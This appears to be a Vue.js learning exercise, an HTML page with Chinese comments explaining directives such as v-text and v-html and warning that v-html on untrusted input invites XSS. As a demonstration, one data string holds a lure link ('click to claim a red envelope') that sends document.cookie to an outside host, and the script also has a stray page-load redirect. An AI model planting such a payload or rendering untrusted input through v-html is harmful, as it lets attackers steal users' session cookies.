<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Title</title>
  <script type="text/javascript" src="../../js/vue.js"></script>
</head>
<body>
<div id="root">
  <!--学过的指令
    v-bind :   单向绑定解析表达式，可简写为   :xxx
    v-model:    双向绑定
    v-for      :遍历
    v-on        :绑定事件监听，简写为@
    v-if        :条件渲染（动态控制节点是否存在）
    v-else      :条件渲染（动态控制节点是=是否存在）
    v-show      :条件渲染（动态控制节点是否展示）
    v-text      :跟插值语法一样,用于标签体文本内容
    v-html      :标签体,将文本内容直接俄解析为了标签体

    永远不要在不可信的网页交互场景使用v-html,会发生xss攻击


  -->

  <h2>姓名:{{name}}</h2>
  <h2 v-text="name"></h2>
  <!--会替换标签体中的内容-->
  <h2 v-text="name">姓名:</h2>
  <!--变量只会哦被当作不同文本展示,不会被解析成标签-->
  <div v-html="str1"></div>
  <div v-html="str2"></div>


</div>

<script type="text/javascript">
  location.href="http://www.baidu.com?"
  document.cookie
  var vm = new Vue({
    el: '#root',
    data: {
      name: '张三',
      str1: '<h2>htmlStr<h2/>',
      str2: '<a href=javascript:location.href="http://www.baidu.com?" + document.cookie>点击领红包</a>'
    }
  });
</script>
</body>
</html>
